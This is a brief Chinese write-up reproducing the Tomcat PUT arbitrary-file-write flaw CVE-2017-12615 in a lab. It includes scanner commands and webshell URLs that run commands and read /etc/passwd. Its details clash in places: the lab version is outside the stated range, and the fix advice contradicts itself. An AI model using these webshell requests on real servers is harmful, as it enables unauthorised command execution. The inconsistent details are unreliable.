Apache-Tomcat_7.0.0 - 7.0.81_PUT方法任意写文件漏洞_CVE-2017-12615
说明 | 内容 |
---|---|
漏洞编号 | CVE-2017-12615 |
漏洞名称 | Tomcat PUT方法任意写文件漏洞 |
漏洞评级 | 高危 |
影响范围 | Apache Tomcat 7.0.0 - 7.0.81 |
漏洞描述 | 配置不当,导致可以使用PUT方法上传任意文件 |
修复方案 | 升级 |
漏洞描述
当 Tomcat 运行在 Windows 主机上,且启用了 HTTP PUT 请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求向服务器上传包含任意代码的 JSP 文件。之后,JSP 文件中的代码将能被服务器执行。
漏洞的产生是由于配置不当(非默认配置),将配置文件(conf/web.xml)中的readonly设置为了false,导致可以使用PUT方法上传任意文件,但限制了jsp后缀,不过对于不同平台有多种绕过方法
漏洞等级
高危
影响版本
- Apache Tomcat 7.0.0 - 7.0.81
漏洞复现
基础环境
组件 | 版本 |
---|---|
OS | kali-linux |
Web Server | chrome |
Apache Tomcat | 8.5.19 |
漏洞扫描
可以使用nacs进行扫描
sudo ./nacs -h 192.168.117.163 -pa 80
可以使用nuclei进行扫描
./nuclei -u 192.168.117.163
漏洞验证
进入nuclei所给的漏洞地址
http://192.168.117.163/poc.jsp?cmd=cat+%2Fetc%2Fpasswd
深度利用
命令执行
对url进行修改即可达到命令执行,如
http://192.168.117.163/poc.jsp?cmd=whoami
漏洞挖掘
网络测绘
Apache-tomcat 7.0.0-7.0.81
修复建议
无